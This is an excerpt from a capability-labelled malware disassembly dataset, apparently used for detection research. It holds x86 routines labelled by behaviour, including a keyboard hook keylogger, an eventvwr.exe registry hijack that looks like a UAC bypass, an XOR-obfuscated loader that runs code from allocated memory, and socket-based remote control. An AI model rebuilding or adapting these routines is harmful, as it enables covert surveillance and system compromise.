joyce8/EMBER2024-capa huggingface dataset:
Function at 0x30808ae4
Capabilities:
Enumerate process modules

Disassembly:
push 0x20
mov eax, 0x3081ae31
call fcn.30801ee1
push dword [ebp + 8]
xor edi, edi
push edi
push 0x410
mov dword [ebp - 0x14], edi
call dword [sym.imp.kernel32.dll_OpenProcess]
mov ebx, eax
cmp ebx, edi
je 0x30808b87
lea eax, [ebp - 0x18]
push eax
push 4
lea eax, [ebp - 0x10]
push eax
push ebx
mov dword [ebp - 0x10], edi
mov dword [ebp - 0x18], edi
call sub.psapi.dll_EnumProcessModules
test eax, eax
je 0x30808b87
push 0x20
pop esi
mov dword [ebp - 0x2c], edi
mov dword [ebp - 0x28], edi
mov dword [ebp - 0x24], edi
push edi
push esi
lea ecx, [ebp - 0x2c]
mov dword [ebp - 4], edi
call fcn.3080bb77
push esi
push dword [ebp - 0x2c]
push dword [ebp - 0x10]
push ebx
call sub.psapi.dll_GetModuleBaseNameA
cmp eax, esi
jb 0x30808b62
push edi
add esi, esi
push esi
lea ecx, [ebp - 0x2c]
call fcn.3080bb77
cmp esi, 0x208
jbe 0x30808b3d
push dword [ebp - 0x2c]
push dword [ebp + 0xc]
call dword [sym.imp.MSVCR100.dll__mbsstr]
pop ecx
pop ecx
test eax, eax
je 0x30808b7b
mov dword [ebp - 0x14], 1
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x2c]
call fcn.30806a0c
push ebx
call dword [sym.imp.kernel32.dll_CloseHandle]
mov eax, dword [ebp - 0x14]
call fcn.30801fc6
ret

Function at 0x30808c2f
Capabilities:
Query or enumerate registry value

Disassembly:
push 0x138
mov eax, 0x3081ae8b
call fcn.3081997e
mov ebx, dword [ebp + 8]
xor edi, edi
mov dword [ebp - 0x138], edi
cmp ebx, edi
je 0x30808d1c
lea eax, [ebp - 0x134]
push eax
call fcn.30808b97
pop ecx
cmp dword [ebp - 0x120], 0x10
mov eax, dword [ebp - 0x134]
mov dword [ebp - 4], edi
jae 0x30808c76
lea eax, [ebp - 0x134]
lea ecx, [ebp - 0x13c]
push ecx
push 1
push edi
push eax
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
cmp eax, edi
jne 0x30808d0a
mov esi, 0x105
push esi
lea eax, [ebp - 0x118]
push edi
push eax
mov dword [ebp - 0x140], 0x104
call sub.MSVCR100.dll_memset
add esp, 0xc
lea eax, [ebp - 0x140]
push eax
lea eax, [ebp - 0x118]
push eax
lea eax, [ebp - 0x144]
push eax
push edi
push ebx
push dword [ebp - 0x13c]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
cmp eax, edi
jne 0x30808cfe
mov eax, dword [0x30825cd8]
push esi
call dword [eax + 4]
pop ecx
mov dword [ebp - 0x138], eax
cmp eax, edi
je 0x30808cfe
push esi
lea ecx, [ebp - 0x118]
push ecx
push esi
push eax
call dword [sym.imp.MSVCR100.dll_strncpy_s]
add esp, 0x10
push dword [ebp - 0x13c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
or dword [ebp - 4], 0xffffffff
push edi
push 1
lea ecx, [ebp - 0x134]
call fcn.3080bb77
mov eax, dword [ebp - 0x138]
call fcn.308199b4
ret
Function at 0x30809222
Capabilities:
Enumerate process modules

Disassembly:
push 0x24
mov eax, 0x3081af3b
call fcn.30801ee1
xor ebx, ebx
push 8
pop esi
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x28], ebx
push ebx
push esi
lea ecx, [ebp - 0x30]
mov dword [ebp - 4], ebx
call fcn.3080bb77
push 0x20
pop edi
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x14], 1
mov byte [ebp - 0xd], 1
lea eax, [ebp - 0x18]
push eax
push edi
push dword [ebp - 0x30]
call sub.psapi.dll_EnumProcesses
test eax, eax
je 0x3080928c
mov eax, dword [ebp - 0x18]
cmp eax, edi
jb 0x30809285
push ebx
add esi, esi
push esi
lea ecx, [ebp - 0x30]
call fcn.3080bb77
mov edi, esi
shl edi, 2
jmp 0x30809294
shr eax, 2
mov esi, eax
jmp 0x30809291
xor esi, esi
mov dword [ebp - 0x14], ebx
mov byte [ebp - 0xd], bl
cmp byte [ebp - 0xd], bl
jne 0x3080925a
cmp dword [ebp - 0x14], ebx
je 0x308092c8
mov edi, dword [ebp + 8]
mov eax, dword [edi + 4]
mov ecx, dword [edi]
push eax
push ecx
lea eax, [ebp - 0x1c]
push eax
mov ecx, edi
call fcn.3080bb77
cmp esi, ebx
jbe 0x308092c8
mov ebx, dword [ebp - 0x30]
push ebx
mov ecx, edi
call fcn.3080bb77
add ebx, 4
dec esi
jne 0x308092ba
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x30]
call fcn.30806a0c
mov eax, dword [ebp - 0x14]
call fcn.30801fc6
ret

Function at 0x3080bb77
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
pushal
call 0x3080bb86
pop dword [ebp - 0x24]
mov eax, 0xae464d08
sub eax, 0x7dc59182
sub dword [ebp - 0x24], eax
mov dword [ebp - 0x34], 0xf0082993
sub dword [ebp - 0x34], 0xa1b5e448
mov dword [ebp - 0x30], 0x52403e8d
add dword [ebp - 0x30], 0xdff30db8
mov dword [ebp - 0x2c], 0xa521d329
add dword [ebp - 0x2c], 0xa72a7105
mov dword [ebp - 0x28], 0xc990ce46
add dword [ebp - 0x28], 0x366f31ba
lea eax, [ebp - 0x34]
push eax
mov eax, sym.imp.kernel32.dll_LoadLibraryA
add eax, dword [ebp - 0x24]
call dword [eax]
mov dword [ebp - 0x34], 0x17f52b3
sub dword [ebp - 0x34], 0x8d0ce95d
mov dword [ebp - 0x30], 0x4685bfc2
sub dword [ebp - 0x30], 0x5195e4d
mov dword [ebp - 0x2c], 0x4a4950e0
add dword [ebp - 0x2c], 0x19261b8c
mov dword [ebp - 0x28], 0xd2e3c4cf
add dword [ebp - 0x28], 0x2d1c3b31
lea ebx, [ebp - 0x34]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x24]
call dword [eax]
push 0x40
push 0x1000
push 0x3c6d8
push 0
call eax
mov ecx, 0xdf59d547
sub ecx, 0xdf598fa3
mov edx, eax
mov esi, 0x6c92a441
add esi, 0xc3f04dbf
add esi, dword [ebp - 0x24]
mov ebx, 0xe92d181f
add ebx, 0xab51ef99
xor dword [ebp - 0xc], edx
mov edi, dword [esi]
mov dword [ebp - 4], 0x23bd1311
sub edi, ebx
add dword [ebp - 8], esi
mov dword [edx], edi
add edx, 0x2cb2228a
add edx, 0xd34ddd7a
add esi, 4
loop 0x3080bc9e
add eax, 0x10963
xor ebx, ebx
add ebx, eax
add eax, 0xbff616a8
add eax, 0x4009e95d
mov ecx, 0x30800000
add ecx, dword [ebp - 0x24]
call ebx
leave
ret
Function at 0x4013b2
Capabilities:
Encode data using xor
Encrypt data using tea

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
and dword [ebp - 0x10], 0
push ebx
push esi
mov esi, ecx
lea ecx, [ebp - 0x10]
push edi
mov dword [ebp - 0x34], esi
mov eax, dword [esi]
mov ebx, dword [esi + 4]
mov dword [ebp - 0x14], eax
mov eax, dword [0x41a318]
mov dword [ebp - 0x24], eax
mov eax, dword [0x41a31c]
mov dword [ebp - 0x2c], eax
call fcn.004013ab
mov edi, dword [ebp - 0x10]
mov ecx, dword [0x41a320]
add edi, 0x23f
mov eax, dword [0x41a324]
push 0x20
mov dword [ebp - 0x10], edi
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x20], eax
pop esi
mov dword [ebp - 0x18], 2
add dword [ebp - 0x18], 3
mov edx, dword [ebp - 0x14]
mov eax, edx
shl eax, 4
add eax, ecx
mov dword [ebp - 0x1c], 0xedeb2e40
cmp dword [0x485008], 0xfa9
mov dword [ebp - 4], eax
mov eax, dword [0x485004]
cmove eax, dword [ebp - 0x1c]
and dword [ebp - 0x1c], 0
cmp dword [0x485008], 0x3eb
mov dword [0x485004], eax
mov eax, dword [0x484a90]
cmove eax, dword [ebp - 0x1c]
mov dword [0x484a90], eax
lea eax, [edi + edx]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x14]
shr eax, 5
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
add eax, dword [ebp - 0x20]
xor eax, dword [ebp - 0x1c]
xor eax, dword [ebp - 4]
sub ebx, eax
mov dword [ebp - 8], eax
mov eax, ebx
mov dword [0x485000], 0xf4ea3dee
shl eax, 4
mov dword [ebp - 0x28], ebx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x24]
add dword [ebp - 4], eax
and dword [ebp - 0xc], 0
mov eax, dword [ebp - 0x10]
add dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x28]
nop
add dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0x18]
mov eax, ebx
shr eax, cl
mov dword [ebp - 8], eax
mov eax, dword [ebp - 0x2c]
add dword [ebp - 8], eax
mov eax, dword [ebp - 8]
xor eax, dword [ebp - 0x1c]
xor dword [ebp - 4], eax
mov eax, dword [ebp - 4]
sub dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x30]
add edi, 0x61c88647
mov dword [ebp - 0x10], edi
dec esi
jne 0x401404
mov esi, dword [ebp - 0x34]
mov eax, dword [ebp - 0x14]
pop edi
mov dword [esi + 4], ebx
mov dword [esi], eax
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40d1e4
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x419428]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
xor esi, esi
mov eax, dword [ebp + 0xc]
push esi
mov dword [ebp - 0x20], eax
call ebx
mov edi, eax
mov dword [ebp - 0x18], edi
call fcn.00406e9b
mov dword [ebp - 0x14], eax
cmp dword [0x43f79c], esi
jne 0x40d2d7
push 0x800
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
jne 0x40d264
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x40d3b7
push esi
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
je 0x40d3b7
push str.MessageBoxW
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x40d3b7
push eax
call ebx
push str.GetActiveWindow
push edi
mov dword [0x43f79c], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push edi
mov dword [0x43f7a0], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push edi
mov dword [0x43f7a4], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x43f7ac], eax
test eax, eax
je 0x40d2d4
push str.GetProcessWindowStation
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x43f7a8], eax
mov edi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x40d2fc
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x40d2ef
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], esi
je 0x40d311
push 4
pop eax
jmp 0x40d3b9
cmp dword [ebp - 0x14], esi
je 0x40d311
push dword [0x43f79c]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x40d2f6
mov eax, dword [0x43f7a8]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, edi
je 0x40d36f
cmp dword [0x43f7ac], edi
je 0x40d36f
push eax
call ebx
push dword [0x43f7ac]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x40d36f
test eax, eax
je 0x40d36f
call ecx
test eax, eax
je 0x40d364
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x40d364
test byte [ebp - 8], 1
jne 0x40d36f
mov edi, dword [ebp + 0x10]
or edi, 0x200000
jmp 0x40d39f
mov eax, dword [0x43f7a0]
cmp eax, edi
je 0x40d39c
push eax
call ebx
test eax, eax
je 0x40d39c
call eax
mov esi, eax
test esi, esi
je 0x40d39c
mov eax, dword [0x43f7a4]
cmp eax, edi
je 0x40d39c
push eax
call ebx
test eax, eax
je 0x40d39c
push esi
call eax
mov esi, eax
mov edi, dword [ebp + 0x10]
push dword [0x43f79c]
call ebx
test eax, eax
je 0x40d3b7
push edi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push esi
call eax
jmp 0x40d3b9
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00403d80
mov esp, ebp
pop ebp
ret
Function at 0x4013be
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
movzx ecx, word [0x41a21a]
movzx eax, word [0x41a226]
imul eax, ecx
mov edx, eax
push ebx
imul edx, dword [0x41a21c]
push esi
push edi
shr edx, 3
mov dword [ebp - 0x10], edx
push 8
cdq
pop esi
xor edi, edi
idiv esi
push edi
push 0x80
push 2
push edi
push edi
push 0x40000000
push dword [ebp + 8]
mov dword [ebp - 0xc], 1
mov dword [ebp - 8], 0x10
mov dword [ebp - 0x14], eax
mov eax, dword [ebp + 0xc]
mov eax, dword [eax + 4]
imul eax, ecx
mov dword [ebp - 0x18], eax
add eax, 0x24
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x401438
xor al, al
jmp 0x401514
mov esi, dword [sym.imp.KERNEL32.dll_WriteFile]
lea eax, [ebp + 8]
push edi
push eax
push 4
push str.RIFF
push ebx
call esi
lea eax, [ebp + 8]
push edi
push eax
lea eax, [ebp - 4]
push 4
push eax
push ebx
call esi
lea eax, [ebp + 8]
push edi
push eax
push 4
push str.WAVE
push ebx
call esi
lea eax, [ebp + 8]
push edi
push eax
push 4
push str.fmt
push ebx
call esi
lea eax, [ebp + 8]
push edi
push eax
lea eax, [ebp - 8]
push 4
push eax
push ebx
call esi
lea eax, [ebp + 8]
push edi
push eax
lea eax, [ebp - 0xc]
push 2
push eax
push ebx
call esi
lea eax, [ebp + 8]
push edi
push eax
push 2
push 0x41a21a
push ebx
call esi
lea eax, [ebp + 8]
push edi
push eax
push 4
push 0x41a21c
push ebx
call esi
lea eax, [ebp + 8]
push edi
push eax
lea eax, [ebp - 0x10]
push 4
push eax
push ebx
call esi
lea eax, [ebp + 8]
push edi
push eax
lea eax, [ebp - 0x14]
push 2
push eax
push ebx
call esi
lea eax, [ebp + 8]
push edi
push eax
push 2
push 0x41a226
push ebx
call esi
lea eax, [ebp + 8]
push edi
push eax
push 4
push 0x41458c
push ebx
call esi
lea eax, [ebp + 8]
push edi
push eax
lea eax, [ebp - 0x18]
push 4
push eax
push ebx
call esi
lea eax, [ebp + 8]
push edi
push eax
mov eax, dword [ebp + 0xc]
push dword [eax + 4]
push dword [eax]
push ebx
call esi
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
pop edi
pop esi
pop ebx
leave
ret

Function at 0x40209b
Capabilities:
Connect socket

Disassembly:
push ebp
mov ebp, esp
push esi
lea eax, [ecx + 4]
push edi
lea esi, [ebp + 8]
mov edi, eax
push 0x10
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
push eax
push dword [ecx]
movsd dword es:[edi], dword [esi]
call sub.WS2_32.dll_connect
neg eax
sbb al, al
pop edi
inc al
pop esi
pop ebp
ret 0x10

Function at 0x402118
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov dword [ecx + 0x14], eax
xor eax, eax
push eax
push eax
push ecx
push 0x402137
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop ebp
ret 4
Function at 0x402526
Capabilities:
Connect socket

Disassembly:
push ebp
mov ebp, esp
push esi
push 6
push 1
push 0
call sub.WS2_32.dll_socket
mov esi, eax
push 0x10
push 0x41a310
push esi
call sub.WS2_32.dll_connect
test eax, eax
jne 0x402569
push esi
lea eax, [ebp + 0xc]
sub esp, 0x10
mov ecx, esp
push eax
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
push dword [ebp + 8]
call fcn.00402440
add esp, 0x18
cmp byte [ebp + 0x1c], 0
je 0x402572
push esi
call sub.WS2_32.dll_closesocket
or esi, 0xffffffff
lea ecx, [ebp + 0xc]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
mov eax, esi
pop esi
pop ebp
ret

Function at 0x402580
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
push ebx
push esi
mov esi, ecx
xor ebx, ebx
cmp byte [esi + 0x38], bl
jne 0x402624
cmp byte [0x41ac80], bl
push edi
mov edi, dword [ebp + 8]
je 0x402608
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx eax, word [ebp - 2]
push edi
push eax
movzx eax, word [ebp - 4]
push eax
lea ecx, [ebp - 0x30]
movzx eax, word [ebp - 6]
push eax
movzx eax, word [ebp - 8]
push eax
lea eax, [ebp + 0xb]
push str.KeepAlive_Enabled__Timeout:__i_seconds_n
push eax
push str._02i:_02i:_02i:_03i__INFO_
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const___class_std::allocator_char__const__]
push eax
lea eax, [ebp - 0x20]
push eax
call sub.MSVCP60.dll_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char_____cdecl_std::operator_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const___char_const__
add esp, 0xc
mov ecx, eax
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
call dword [sym.imp.MSVCRT.dll_printf]
add esp, 0x18
lea ecx, [ebp - 0x20]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea ecx, [ebp - 0x30]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
push ebx
push ebx
push esi
push 0x40271d
push ebx
push ebx
mov byte [esi + 0x38], 1
mov dword [esi + 0x3c], edi
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov al, 1
pop edi
jmp 0x402626
xor al, al
pop esi
pop ebx
leave
ret 4
Function at 0x403067
Capabilities:
Create process on windows
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
xor ebx, ebx
cmp dword [0x41a15c], ebx
push esi
push edi
je 0x403081
push 1
jmp 0x40316d
call fcn.0040322e
cmp eax, 0x3a9f
jge 0x40316e
push ebx
push 0x41465c
push str.mscfile_shellopencommand
lea eax, [ebp - 0x14]
push 0x80000000
push eax
call fcn.0040b39b
add esp, 0x14
mov esi, 0x41ac98
mov ecx, esi
push 3
call dword [sym.imp.MSVCP60.dll_public:_unsigned_int___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::length_void_const]
push eax
mov ecx, esi
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
lea ecx, [ebp - 0x14]
call dword [sym.imp.MSVCP60.dll_public:_unsigned_int___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::length_void_const]
inc eax
lea ecx, [ebp - 0x14]
push eax
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
push str.origmsc
mov ecx, 0x41aa30
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
mov edi, 0x80000001
push eax
push edi
call fcn.0040b771
add esp, 0x20
lea eax, [ebp - 1]
push 2
sub esp, 0x10
mov ecx, esp
push eax
push str.C:7f8f45b01d7249af.cpl
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::constructor_unsigned_short_int_const___class_std::allocator_unsigned_short_int__const__]
mov esi, 0x4147f4
push esi
push 0x41479c
push edi
call fcn.0040b632
push str.eventvwr.exe
lea eax, [ebp - 0x24]
push 0x34
push eax
call fcn.00412f89
add esp, 0x2c
lea ecx, [ebp - 0x24]
push ebx
push esi
push esi
call dword [sym.imp.MSVCP60.dll_public:_unsigned_short_int_const____thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::c_str_void_const]
push eax
push str.open
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
cmp eax, 0x20
jbe 0x403159
push ebx
call dword [sym.imp.MSVCRT.dll_exit]
lea ecx, [ebp - 0x24]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::destructor_void_]
lea ecx, [ebp - 0x14]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
push 2
pop eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x404cfc
Capabilities:
Terminate thread

Disassembly:
mov eax, 0x413c24
call sub.MSVCRT.dll__EH_prolog
push ecx
push ecx
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
and dword [ebp - 4], 0
xor edi, edi
mov dword [ebp - 0x14], edi
mov esi, 0x41a8c8
mov ecx, esi
call fcn.00404dde
cmp edi, eax
jae 0x404d7c
push edi
mov ecx, esi
call fcn.00404df4
mov eax, dword [eax]
cmp eax, dword [ebp + 8]
jne 0x404d70
push edi
mov ecx, esi
call fcn.00404df4
mov eax, dword [eax + 8]
push dword [eax]
call sub.WS2_32.dll_closesocket
push 0
push edi
mov ecx, esi
call fcn.00404df4
push dword [eax + 4]
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov ecx, esi
call fcn.0040a217
lea ecx, [edi + edi*2]
lea eax, [eax + ecx*4]
push eax
mov ecx, esi
call fcn.00404e21
inc edi
mov dword [ebp - 0x14], edi
jmp 0x404d1c
or dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret

Function at 0x404fef
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, ecx
lea eax, [ebp + 8]
push edi
push eax
lea ecx, [esi + 0x54]
mov byte [esi + 0x3c], 1
call dword [sym.imp.MSVCP60.dll_public:_class_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int______thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::operator_class_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int___const__]
mov ecx, esi
call fcn.00404fc5
xor edi, edi
cmp byte [0x41a158], 0x32
mov ebx, str.Offline_Keylogger_Started
je 0x405038
push edi
lea eax, [ebp - 1]
sub esp, 0x10
mov ecx, esp
push eax
push ebx
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const___class_std::allocator_char__const__]
mov ecx, esi
call fcn.00405c2e
sub esp, 0x10
lea eax, [ebp - 1]
mov ecx, esp
push eax
push ebx
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const___class_std::allocator_char__const__]
sub esp, 0x10
lea eax, [ebp - 2]
mov ecx, esp
push eax
push str._INFO_
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const___class_std::allocator_char__const__]
call fcn.004119fd
add esp, 0x20
mov ebx, dword [sym.imp.KERNEL32.dll_CreateThread]
push edi
push edi
push esi
push 0x4050fa
push edi
push edi
call ebx
cmp dword [esi], edi
jne 0x405086
push edi
push edi
push esi
push 0x4050da
push edi
push edi
call ebx
push edi
push edi
push esi
push 0x405109
push edi
push edi
call ebx
lea ecx, [ebp + 8]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::destructor_void_]
pop edi
pop esi
pop ebx
leave
ret 0x10
Function at 0x4050a2
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, ecx
lea eax, [ebp + 8]
push eax
lea ecx, [esi + 0x54]
call dword [sym.imp.MSVCP60.dll_public:_class_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int______thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::operator_class_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int___const__]
xor eax, eax
cmp byte [esi + 0x3c], al
jne 0x4050cc
push eax
push eax
push esi
push 0x4050e9
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
lea ecx, [ebp + 8]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::destructor_void_]
pop esi
pop ebp
ret 0x10

Function at 0x405145
Capabilities:
Log keystrokes via application hook

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push esi
push edi
mov esi, ecx
xor edi, edi
mov dword [0x41a998], esi
cmp dword [esi], edi
jne 0x405170
push edi
push edi
push 0x40512a
push 0xd
call dword [sym.imp.USER32.dll_SetWindowsHookExA]
mov dword [esi], eax
cmp dword [esi], edi
je 0x405197
push edi
push edi
lea eax, [ebp - 0x1c]
push edi
push eax
call dword [sym.imp.USER32.dll_GetMessageA]
test eax, eax
je 0x405197
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.USER32.dll_TranslateMessage]
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.USER32.dll_DispatchMessageA]
jmp 0x40516c
pop edi
xor eax, eax
pop esi
leave
ret